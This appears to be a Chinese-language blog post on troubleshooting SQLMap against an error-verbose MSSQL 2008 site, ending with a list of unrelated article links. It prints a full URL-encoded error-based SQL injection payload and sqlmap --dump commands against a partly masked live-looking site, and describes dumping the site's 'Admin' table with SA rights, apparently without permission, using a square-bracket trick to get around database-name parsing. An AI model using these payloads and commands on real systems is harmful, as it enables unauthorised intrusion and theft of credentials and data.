• sqlmap注入检测经验0x01


    某日偶遇一SQLInjection Point,MSSQL 2008,已开启显错模式。
    马上扔进SQLMap跑,一路顺畅,竟然还是SA的权限,心想运气真好,无论如何都拿定了。
    数据库,表,列都列出来了,但是上–dump参数就死活跑不出来。
    报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
    心想应该很容易搞定,遂查找手工注入方法,测试无果。
    还是回到SQLMap,-h查看帮助,发现-v 参数可以指定输出详细度,开到-v 3,发现显示了payload,一不做二不休,直接开到-v 5,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。

    Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29

    显然是2012的问题,也就是应该是错把库名中的数字错当成参数了

    在URL的库名加上双引号包裹,果然就可以爆出数据了。

    问题又来了,要我手工爆数据我可搞不定,还是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数

    XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’

    这次好一点了,还是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是库名不对。

    XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218  –dump -D”[2012_xxxx]” -T’Admin’

    我也不记得哪来的灵机一动,改用中括号包裹,果然就成功了,dump出整个表了。

    XCONCLUSION:在使用SQLMap时可以使用-v参数指定输出详细度,然后直接用浏览器查看payload,确定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。
  • 相关阅读:
    作业一:淘宝的创新点
    asp.net面试题130道
    windows7系统下怎么将“我的电脑”图标添加到任务栏
    用jquery控制html控件
    C# windows窗口项目
    无法从命令行或调试器启动服务,必须首先安装Windows服务(使用installutil.exe),然后用ServerExplorer、Windows服务器管理工具或NET START命令启动它
    c#用反射动态获取类型
    C# 提取逗号分割的字符串
    搜索框动态匹配——前端方式(只在页面加载时从后端获取一次数据)(推荐)
    汉字转拼音的代码——(js版)
  • 原文地址:https://www.cnblogs.com/milantgh/p/4908812.html
Copyright © 2020-2023  润新知